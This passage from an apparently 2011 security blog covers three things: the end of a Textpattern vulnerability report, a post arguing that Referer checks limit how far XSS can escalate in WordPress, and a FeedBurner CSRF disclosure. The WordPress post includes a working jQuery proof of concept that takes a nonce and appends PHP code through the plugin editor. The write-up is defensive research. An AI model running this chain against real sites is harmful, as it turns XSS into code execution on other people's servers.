There were several locations in the code where actions were taken in the application based on GET requests (ie: banning/unbanning users, updating plugin code, etc). Ideally, GET requests should be idempotent to prevent unintended submissions that alter the application. This issue is closely tied to #1, since the lack of cross-site request forgery makes all requests, including GETs, impossible to validate.

Conclusion

Anyone who is running a Textpattern installation should immediately upgrade to 4.4.0 if they haven’t already. They should also be aware of the vulnerabilities that still exist in that version (cross-site request forgery, file uploads, persistent XSS from article previews).

I would like to thank the Textpattern development team, especially Robert Wetzlmayr, for their responses to my report.

2011
01.31

Preface

Last year, I attended my first security conference: QuahogCon. I had never been to a conference before but I had a great time listening to and learning from all the speakers. I especially enjoyed the opening keynote, which was given by Dan Kaminsky. The topic of the talk was “web defense”: the slides can be found here.

The talk covered a lot of ground, but one of the areas Dan touched on briefly was the Referer header. He reminded the audience that the Referer header is difficult to use as a security feature because it isn’t reliably passed to the server (due to filtering by proxies and other client software, browser-specific behaviors that control when referrer information is passed, etc). However, he also made the point that people are often warned to avoid using the header due to security concerns which are no longer valid. To quote the slides:

  • Many Content Management Systems have attempted to use Referer checking to stop XSRF and related attacks
  • We tell them not to do this, for “Security Reasons”

  • Amit et al fixed this years ago

  • There are no known mechanism for causing a browser to emit an arbitrary Referer header, and hasn’t been for quite some time.
    • More importantly, if one is found, it’s fixed, just like a whole host of other browser bugs

Despite its unreliable nature, the Referer header provides information that can not be gotten from other sources; there is no other way for the server to know from what location a request was submitted. As the rest of this post will illustrate, using the Referer header properly can partially mitigate the impact of a cross-site scripting attack: ignoring it can allow an attack to escalate and become much worse.

An Example

[Note: Although I’m sure people will use this post to argue that Wordpress is insecure, it’s worth noting that a similar proof of concept could be built against any web application that does not verify the Referer header as a form of CSRF protection. This kind of attack is in no way Wordpress specific.]

Wordpress makes extensive use of HttpOnly cookies, randomized nonces, and other security measures to protect itself against CSRF and session hijacking attacks. However, it is still possible for an attacker to sidestep all of those protections by making use of XMLHttpRequest, using GETs to retrieve nonces and POSTs to submit requests. Of course, XMLHttpRequest is meant to be able to make same-origin requests: there is nothing inherently wrong with that. Unfortunately, that behavior also poses a security risk: if an attacker can find and exploit an XSS vulnerability on the same domain as a Wordpress installation, that attacker can use XMLHttpRequest to make same-origin requests. That means an XSS vulnerability in any part of the system allows for a CSRF attack against the entire system.

People familiar with Wordpress may also realize that Wordpress administrators are given a wide range of abilities through the backend of their site. Those abilities include editing PHP files on the filesystem, assuming the files are writable by the web server. That won’t be true for all Wordpress installations, but there are many cases in which administrators may (intentionally or unintentionally) allow for such behavior. Although as of last year the file editor functionality can be disabled by defining a constant (DISALLOW_FILE_EDIT), Wordpress does not define this constant by default (see ticket #11306 and changeset 13034).

Now, lets take a moment and summarize the ideas presented here so far:

  1. Given an XSS vulnerability, it’s possible for an attacker to make requests to Wordpress
  2. Administrators can edit files on the web server through a web interface

See where I’m going with this? ;-)

A Demonstration

Here’s a proof of concept that uses jQuery. One GET to grab the correct nonce and other fields from the plugin editor, one POST to append arbitrary code to a PHP file. Voila: an XSS vulnerability has become arbitrary code execution.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">

        <title>Wordpress XSS => Arbitrary Code / Command Execution PoC</title>
        <script type="text/javascript" src="http://www.google.com/jsapi"></script>

        <script type="text/javascript">
        var base = "/wordpress-3.0.3/wordpress";
        var code = "<?php /*code goes here */ ?>"

        google.load("jquery", "1.4.4");
        google.setOnLoadCallback(function() {
            $.get(base + '/wp-admin/plugin-editor.php?file=index.php', function (data) {
                var postData = $('#template', data).serialize();

                postData = postData.replace('&amp;action=', encodeURIComponent(code) + '&amp;action=');

                $.post(base + '/wp-admin/plugin-editor.php', postData);
            });
        });
        </script>
    </head>
    <body>
        <p>Hello!</p>
    </body>
</html>

This code (adapted somewhat) could be used in conjunction with any XSS vulnerability in Wordpress or any XSS vulnerability in any other application running on the same domain as a Wordpress installation.

In fact, users with the Editor role in Wordpress have the ability to use unfiltered HTML. They can perform an “XSS attack” against an administrator without any need for an underlying vulnerability. Of course, Wordpress administrators should only be giving editor privileges to people who they feel they can trust. Then again though, what happens if a hacker gains access to an editor’s account?

But how does the Referer help?

The example above relies on the fact that an attacker can use XmlHttpRequest to make valid requests to any page on the targeted server. Verifying the Referer header means that, if an XSS vulnerability exists on a given page, an attacker is limited to submitting requests that a user could normally submit from that page. For instance, if there were an XSS vulnerability in the comments section of a Wordpress site, an attacker would not be able to make POST requests to the plugin editor, or the user manager (to make themselves an administrator), etc. An attacker would be limited to actions like approving a comment, marking a comment as spam, etc.

Of course, I don’t claim that checking the Referer mitigates XSS or CSRF vulnerabilities: at best, it limits the ways in which an XSS vulnerability can be used to cause a more serious security breach. XSS vulnerabilities in sensitive locations like file editors are still just as dangerous. And if you strictly enforce the policy, which you have to do if you want it to be effective, you’ll be locking out users who don’t send a Referer header.

Final Thoughts

I’m far from the first person to notice that an XSS vulnerability can be used to bypass CSRF protections. For instance, Jesse Burns wrote a very thorough paper on CSRF back in 2005 that makes reference to the relationship between XSS and CSRF.

XSS flaws may allow bypassing of any of XSRF protections by leaking valid values of the tokens, allowing referrer’s to appear to be the application itself, or by hosting hostile HTML elements right in the target application.

As I mentioned earlier, Wordpress is not the only web application vulnerable to this kind of attack: any application that fails to validate the Referer header can fall victim to this type of vulnerability escalation. If people have other examples of applications where an XSS vulnerability can have extraordinary consequences, I’d be very interested to hear about them. :)

If you have any opinions, comments, or questions, please post them below!

Update: The comments have raised a couple interesting points.

  1. I’m not the only person to have run across this problem with Wordpress! ;-) In fact, commenter felixaime wrote a post (in French) about the same issue back in October.
  2. It turns out that it may be possible to “forge” the Referer header, to a degree. Commenter lava points out that by loading a page in an IFrame and using JavaScript to manipulate the contents of the page, it may be possible to bypass the kind of Referer checking I described. Definitely worth investigating!
2011
01.10

Summary

Feedburner accounts were vulnerable to a CSRF attack against certain services (MyBrand and FeedBulletin). An attacker could cause a user to enable or disable these services (potentially disrupting end-user access to content, in the case of MyBrand).

How Did It Work?

This vulnerability was fairly straightforward. To activate/deactivate MyBrand/FeedBulletin, you sent a simple POST request (to http://feedburner.google.com/fb/a/mybrandSubmit for MyBrand and to http://feedburner.google.com/fb/a/feedbulletinSubmit for FeedBulletin). Neither of those requests required a CSRF token to be processed. Accordingly, an attacker could trick a user into submitting a request without their consent.

Consider a possible attack. The target, Alice, owns a blog located at AliceAppSec.org. Alice provides an RSS feed for her blog (http://feeds.aliceappsec.org/AliceAppSec) using FeedBurner’s MyBrand service. The attacker, Marvin, is a jealous competitor; he wants to disrupt Alice’s RSS feed. To do so, he crafts a page that automatically submits a malicious MyBrand-disabling POST request to FeedBurner. Once that’s done, all he needs to do is convince Alice to look at the page: if she’s signed in to FeedBurner, the POST request will disable MyBrand for her account, causing her feed to return a 404.

Since the vulnerability is now patched, the proof of concept I sent to Google no longer functions. However, I’ve made the code (a simple HTML page) available for anyone who wants to check it out.

More Information

The vulnerability mentioned here has been confirmed patched by the Google Security Team. I owe them a ton of thanks for organizing this program and giving me a chance to improve my skills (and for responding to my many emails, even late at night on Sundays). :-)

Interested readers are encouraged to take a look at other vulnerabilities I’ve reported under Google’s Vulnerability Reward Program.